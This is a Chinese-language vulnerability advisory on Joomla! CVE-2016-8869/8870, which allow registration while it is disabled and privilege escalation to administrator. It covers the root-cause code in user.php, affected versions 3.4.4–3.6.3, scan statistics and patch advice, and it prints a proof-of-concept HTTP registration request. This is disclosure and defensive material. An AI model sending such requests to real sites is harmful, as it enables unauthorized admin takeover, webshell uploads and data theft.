2016年10月25日Joomla!官方网站发布两款补丁,主要针对网站关闭注册用户仍然可以注册用户漏洞,以及可以注册成为特权账户漏洞。该漏洞可使普通访客用户通过构造恶意数据包成为网站管理员,危害高。现在网络上已经有相关漏洞利用工具出现,请各位站长朋友立即修复。以免造成不必要的影响和损失。
Joomla! 使用PHP语言加上MySQL数据库所开发,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。它是一套全球排名第 二的知名内容管理系统(CMS)。据白帽汇不完全统计,现全球使用Joomla!系统所建设的网站约有86万。其中美国24万,德国12万,荷兰5万,波兰4万,俄罗斯3万。目前中国有3000多网站正在使用该系统。
研究人员可通过如下链接登录FOFA了解详情:
漏洞原理与危害
该漏洞主要因为有两处注册代码,其中一处没有判断是否关闭注册功能,导致网站关闭注册情况下仍可以进行注册。
在注册时,由于程序在处理的时候没有过滤用户发送的数据字段,导致用户可以直接添加用户组字段。如用户添加管理员组字段,则可直接注册为管理员账户。
用户添加管理员后,可以在后台进行webshell上传等操作。黑客可控制和篡改,甚至删除网站,同时导致数据被泄露等后果。
漏洞分析
在Joomla!系统中存在两处注册的函数,分别位于:components/com_users/controllers/registration.php中的UsersControllerRegistration::register()和位于components/com_users/controllers/user.php中的UsersControllerUser::register()
其中components/com_users/controllers/user.php 中的注册函数没有判断网站是否关闭注册,进而导致在网站关闭注册情况下可创建普通用户的漏洞。同时该函数的流程中未对注册的字段进行过滤,导致可以加入Groups字段,并设置为管理员组的数值7(即提升为特权账户)。其相关漏洞代码如下,以下代码中虽然都进行了验证和过滤,但是存在漏洞的函数中使用的数据仍然是我们提交的数据,而不是过滤后的数据,所以我们才可以通过添加Groups字段来提升特权。
漏洞代码如下:
if (!$form)
{
JError::raiseError(500, $model->getError());
return false;
}
$return = $model->validate($form, $data);
………… 此处省略N行
// Finish the registration.
$return = $model->register($data); //这里使用的是我们提交的$data数据,而不是过滤后的$return
以下是不存在漏洞的代码。
正常流程不存在漏洞的代码如下:
$data = $model->validate($form, $requestData);
…………
// Attempt to save the data.
$return = $model->register($data); //这里使用了过滤后的数据
漏洞影响
影响的Joomla!版本:3.4.4至3.6.3
影响范围
白帽汇第一时间对漏洞进行复现,并编写了扫描程序进行了全球扫描。目前,全球现有将近86万的Joomla!网站,目前存在网站的漏洞数量为15296个。排在前五的国家分别为美国,德国,荷兰,俄罗斯,还有法国。总共覆盖了100个国家和数百个城市。
其中国内受影响的网站有146个。其中杭州市就超过了一半,其中以政府、高校为主。
漏洞POC
POST /index.php?option=com_users&task=user.register HTTP/1.1
Host: [Joomla!系统地址]
Referer: [Joomla!系统地址]/index.php/component/users/?view=registration
Cookie: [网站Cookie]
Connection: close
——WebKitFormBoundarydPTNyMPMzmAhBsf4
Content-Disposition: form-data; name=”user[name]”
baimaohui
——WebKitFormBoundarydPTNyMPMzmAhBsf4
Content-Disposition: form-data; name=”user[username]”
baimaohui
——WebKitFormBoundarydPTNyMPMzmAhBsf4
Content-Disposition: form-data; name=”user[password1]”
Baimaohui
——WebKitFormBoundarydPTNyMPMzmAhBsf4
Content-Disposition: form-data; name=”user[password2]”
Baimaohui
——WebKitFormBoundarydPTNyMPMzmAhBsf4
Content-Disposition: form-data; name=”user[email1]”
baimaohui@baimaohui.net
——WebKitFormBoundarydPTNyMPMzmAhBsf4
Content-Disposition: form-data; name=”user[email2]”
email@example.com
——WebKitFormBoundarydPTNyMPMzmAhBsf4
Content-Disposition: form-data; name=”option”
com_users
——WebKitFormBoundarydPTNyMPMzmAhBsf4
Content-Disposition: form-data; name=”task”
user.register
——WebKitFormBoundarydPTNyMPMzmAhBsf4
Content-Disposition: form-data; name=”[这里是Token]”
1
——WebKitFormBoundarydPTNyMPMzmAhBsf4–
CVE编号
CVE-2016-8869,CVE-2016-8870
修复建议
1、 升级到最新的3.6.4版本
2、 针对定制化,或者对系统有改动的用户,可以通过手动修改删除的方式来修复。 删除掉网站路径components\com_users\controllers\user.php 文件中的register方法。 删除如下代码:
白帽汇会持续对该漏洞进行跟进。
参考
[1]https://fofa.so/result?qbase64=Ym9keT0iY29udGVudD1cIkpvb21sYSIgfHwgKGJvZHk9Ii9tZWRpYS9zeXN0%0AZW0vanMvY29yZS5qcyIgJiYgYm9keT0iL21lZGlhL3N5c3RlbS9qcy9tb290%0Ab29scy1jb3JlLmpzIik%3D
[2]https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html
[3] https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html
[4] http://www.exploitalert.com/view-details.html?id=25143
[5] http://paper.seebug.org/88/